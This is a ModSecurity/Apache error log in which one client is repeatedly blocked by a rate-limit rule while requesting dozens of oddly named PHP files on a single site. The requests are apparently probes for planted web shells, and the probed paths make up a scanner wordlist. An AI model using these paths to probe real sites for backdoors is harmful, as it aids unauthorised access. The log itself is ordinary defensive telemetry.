[Fri May 08 11:39:52.173692 2026] [:error] [pid 61355:tid 61378] [client 172.212.136.43:25899] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/error_log.php"] [unique_id "af1bCPkhJTi30CBXmMkn3gAAAZE"]
[Fri May 08 11:39:52.729435 2026] [:error] [pid 51007:tid 51023] [client 172.212.136.43:25752] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zdd.php"] [unique_id "af1bCFMagSGstWKyzzWwMgAAAAE"]
[Fri May 08 11:39:53.296663 2026] [:error] [pid 61355:tid 61362] [client 172.212.136.43:25737] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zdd.php"] [unique_id "af1bCfkhJTi30CBXmMkn4AAAAYE"]
[Fri May 08 11:39:53.894379 2026] [:error] [pid 61355:tid 61361] [client 172.212.136.43:25792] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zdd.php"] [unique_id "af1bCfkhJTi30CBXmMkn4wAAAYA"]
[Fri May 08 11:39:54.752375 2026] [:error] [pid 61317:tid 61324] [client 172.212.136.43:25636] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zdd.php"] [unique_id "af1bCs-fFk_CedOCOYtw5AAAAUQ"]
[Fri May 08 11:39:55.283590 2026] [:error] [pid 61355:tid 61376] [client 172.212.136.43:25832] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/link.php"] [unique_id "af1bC_khJTi30CBXmMkn5wAAAY8"]
[Fri May 08 11:39:56.241592 2026] [:error] [pid 61317:tid 61320] [client 172.212.136.43:25745] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/link.php"] [unique_id "af1bDM-fFk_CedOCOYtw5gAAAUA"]
[Fri May 08 11:39:56.723073 2026] [:error] [pid 61355:tid 61368] [client 172.212.136.43:25840] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/link.php"] [unique_id "af1bDPkhJTi30CBXmMkn6wAAAYc"]
[Fri May 08 11:39:57.529775 2026] [:error] [pid 51008:tid 51050] [client 172.212.136.43:25600] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/link.php"] [unique_id "af1bDXB58C2Y1tgLtuJXDgAAAEE"]
[Fri May 08 11:39:58.123862 2026] [:error] [pid 61317:tid 61325] [client 172.212.136.43:25757] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sallu.php"] [unique_id "af1bDs-fFk_CedOCOYtw6AAAAUU"]
[Fri May 08 11:39:58.933056 2026] [:error] [pid 61356:tid 61394] [client 172.212.136.43:25913] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sallu.php"] [unique_id "af1bDox3vpB8oWhUq2PlpAAAAcY"]
[Fri May 08 11:40:00.314448 2026] [:error] [pid 61356:tid 61409] [client 172.212.136.43:25614] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sallu.php"] [unique_id "af1bEIx3vpB8oWhUq2PlpwAAAdU"]
[Fri May 08 11:40:01.361000 2026] [:error] [pid 51008:tid 51062] [client 172.212.136.43:25787] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sallu.php"] [unique_id "af1bEXB58C2Y1tgLtuJXDwAAAE0"]
[Fri May 08 11:40:02.226232 2026] [:error] [pid 51009:tid 51100] [client 172.212.136.43:25931] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aboute.php"] [unique_id "af1bEuB0GbUWhxgzX9XLAAAAAJg"]
[Fri May 08 11:40:09.515373 2026] [:error] [pid 61355:tid 61370] [client 172.212.136.43:25788] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x=34.php"] [unique_id "af1bGfkhJTi30CBXmMkoFAAAAYk"]
[Fri May 08 11:40:10.595259 2026] [:error] [pid 61317:tid 61340] [client 172.212.136.43:25922] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x=34.php"] [unique_id "af1bGs-fFk_CedOCOYtw7gAAAVQ"]
[Fri May 08 11:40:11.189511 2026] [:error] [pid 61317:tid 61328] [client 172.212.136.43:25916] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x=34.php"] [unique_id "af1bG8-fFk_CedOCOYtw7wAAAUg"]
[Fri May 08 11:40:12.319407 2026] [:error] [pid 61355:tid 61369] [client 172.212.136.43:25743] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x=34.php"] [unique_id "af1bHPkhJTi30CBXmMkoGAAAAYg"]
[Fri May 08 11:40:12.764865 2026] [:error] [pid 61317:tid 61324] [client 172.212.136.43:25951] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tramuibs.php"] [unique_id "af1bHM-fFk_CedOCOYtw8wAAAUQ"]
[Fri May 08 11:40:13.344179 2026] [:error] [pid 51007:tid 51038] [client 172.212.136.43:25957] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tramuibs.php"] [unique_id "af1bHVMagSGstWKyzzWwNwAAABA"]
[Fri May 08 11:40:14.897919 2026] [:error] [pid 61355:tid 61376] [client 172.212.136.43:25850] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tramuibs.php"] [unique_id "af1bHvkhJTi30CBXmMkoGQAAAY8"]
[Fri May 08 11:40:15.859729 2026] [:error] [pid 34318:tid 34330] [client 172.212.136.43:25740] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tramuibs.php"] [unique_id "af1bH8r3guirgJiKhzCnLQAAAQo"]
[Fri May 08 11:40:16.681249 2026] [:error] [pid 34318:tid 34340] [client 172.212.136.43:25764] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/view.php"] [unique_id "af1bIMr3guirgJiKhzCnLgAAARQ"]
[Fri May 08 11:40:17.110389 2026] [:error] [pid 61317:tid 61341] [client 172.212.136.43:25768] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/view.php"] [unique_id "af1bIc-fFk_CedOCOYtw9wAAAVU"]
[Fri May 08 11:40:17.654622 2026] [:error] [pid 51007:tid 51024] [client 172.212.136.43:25750] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/view.php"] [unique_id "af1bIVMagSGstWKyzzWwOAAAAAI"]
[Fri May 08 11:40:18.739645 2026] [:error] [pid 51007:tid 51027] [client 172.212.136.43:25829] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/view.php"] [unique_id "af1bIlMagSGstWKyzzWwOgAAAAU"]
[Fri May 08 11:40:19.709491 2026] [:error] [pid 61317:tid 61332] [client 172.212.136.43:25827] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "af1bI8-fFk_CedOCOYtw-gAAAUw"]
[Fri May 08 11:40:20.452259 2026] [:error] [pid 51007:tid 51029] [client 172.212.136.43:25966] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "af1bJFMagSGstWKyzzWwOwAAAAc"]
[Fri May 08 11:40:21.854768 2026] [:error] [pid 51113:tid 51122] [client 172.212.136.43:25968] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "af1bJUQfs7sWtqkpQIdMMAAAAMc"]
[Fri May 08 11:40:23.761742 2026] [:error] [pid 61355:tid 61373] [client 172.212.136.43:25811] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "af1bJ_khJTi30CBXmMkoHAAAAYw"]
[Fri May 08 11:40:25.898725 2026] [:error] [pid 51007:tid 51039] [client 172.212.136.43:25978] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x402.php"] [unique_id "af1bKVMagSGstWKyzzWwPgAAABE"]
[Fri May 08 11:40:26.684998 2026] [:error] [pid 61317:tid 61321] [client 172.212.136.43:25876] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x402.php"] [unique_id "af1bKs-fFk_CedOCOYtw-wAAAUE"]
[Fri May 08 11:40:28.054855 2026] [:error] [pid 51007:tid 51026] [client 172.212.136.43:25641] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x402.php"] [unique_id "af1bLFMagSGstWKyzzWwPwAAAAQ"]
[Fri May 08 11:40:30.159564 2026] [:error] [pid 61355:tid 61380] [client 172.212.136.43:25806] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x402.php"] [unique_id "af1bLvkhJTi30CBXmMkoIgAAAZM"]
[Fri May 08 11:40:30.990720 2026] [:error] [pid 51008:tid 51066] [client 172.212.136.43:25778] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "af1bLnB58C2Y1tgLtuJXEAAAAFE"]
[Fri May 08 11:40:33.188112 2026] [:error] [pid 61317:tid 61328] [client 172.212.136.43:25846] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "af1bMc-fFk_CedOCOYtw_AAAAUg"]
[Fri May 08 11:40:35.569903 2026] [:error] [pid 51008:tid 51057] [client 172.212.136.43:25771] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "af1bM3B58C2Y1tgLtuJXFQAAAEg"]
[Fri May 08 11:40:36.498130 2026] [:error] [pid 51113:tid 51129] [client 172.212.136.43:25854] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "af1bNEQfs7sWtqkpQIdMMQAAAM4"]
[Fri May 08 11:40:38.115919 2026] [:error] [pid 51113:tid 51130] [client 172.212.136.43:25617] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws78.php"] [unique_id "af1bNkQfs7sWtqkpQIdMMgAAAM8"]
[Fri May 08 11:40:39.644150 2026] [:error] [pid 51008:tid 51056] [client 172.212.136.43:25898] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws78.php"] [unique_id "af1bN3B58C2Y1tgLtuJXFgAAAEc"]
[Fri May 08 11:40:40.422705 2026] [:error] [pid 34318:tid 34340] [client 172.212.136.43:25753] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws78.php"] [unique_id "af1bOMr3guirgJiKhzCnOQAAARQ"]
[Fri May 08 11:40:41.571025 2026] [:error] [pid 61356:tid 61407] [client 172.212.136.43:25646] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws78.php"] [unique_id "af1bOYx3vpB8oWhUq2PltAAAAdM"]
[Fri May 08 11:40:42.084753 2026] [:error] [pid 51008:tid 51070] [client 172.212.136.43:25918] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f5.php"] [unique_id "af1bOnB58C2Y1tgLtuJXGAAAAFU"]
[Fri May 08 11:40:42.793178 2026] [:error] [pid 61356:tid 61389] [client 172.212.136.43:25758] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f5.php"] [unique_id "af1bOox3vpB8oWhUq2PltwAAAcE"]
[Fri May 08 11:40:43.496177 2026] [:error] [pid 34318:tid 34333] [client 172.212.136.43:25601] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f5.php"] [unique_id "af1bO8r3guirgJiKhzCnOgAAAQ0"]
[Fri May 08 11:40:44.267220 2026] [:error] [pid 51113:tid 51118] [client 172.212.136.43:25625] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f5.php"] [unique_id "af1bPEQfs7sWtqkpQIdMNgAAAMM"]
[Fri May 08 11:40:45.089704 2026] [:error] [pid 51008:tid 51071] [client 172.212.136.43:25749] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alpha.php"] [unique_id "af1bPXB58C2Y1tgLtuJXGQAAAFY"]
[Fri May 08 11:40:46.057038 2026] [:error] [pid 51008:tid 51069] [client 172.212.136.43:25728] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alpha.php"] [unique_id "af1bPnB58C2Y1tgLtuJXGgAAAFQ"]
[Fri May 08 11:40:46.600354 2026] [:error] [pid 61317:tid 61324] [client 172.212.136.43:19341] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alpha.php"] [unique_id "af1bPs-fFk_CedOCOYtw_gAAAUQ"]
[Fri May 08 11:40:47.199348 2026] [:error] [pid 51008:tid 51073] [client 172.212.136.43:25756] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alpha.php"] [unique_id "af1bP3B58C2Y1tgLtuJXHgAAAFg"]
[Fri May 08 11:40:47.940638 2026] [:error] [pid 51008:tid 51072] [client 172.212.136.43:25654] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/son1.php"] [unique_id "af1bP3B58C2Y1tgLtuJXIAAAAFc"]
[Fri May 08 11:40:48.987330 2026] [:error] [pid 61317:tid 61344] [client 172.212.136.43:25828] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/son1.php"] [unique_id "af1bQM-fFk_CedOCOYtxAQAAAVg"]
[Fri May 08 11:40:49.535330 2026] [:error] [pid 51008:tid 51062] [client 172.212.136.43:19355] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/son1.php"] [unique_id "af1bQXB58C2Y1tgLtuJXIgAAAE0"]
[Fri May 08 11:40:50.186919 2026] [:error] [pid 51008:tid 51058] [client 172.212.136.43:25650] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/son1.php"] [unique_id "af1bQnB58C2Y1tgLtuJXJAAAAEk"]
[Fri May 08 11:40:52.080768 2026] [:error] [pid 34318:tid 34323] [client 172.212.136.43:25610] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggb.php"] [unique_id "af1bRMr3guirgJiKhzCnPgAAAQM"]
[Fri May 08 11:40:52.939004 2026] [:error] [pid 61355:tid 61369] [client 172.212.136.43:25784] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggb.php"] [unique_id "af1bRPkhJTi30CBXmMkoIwAAAYg"]
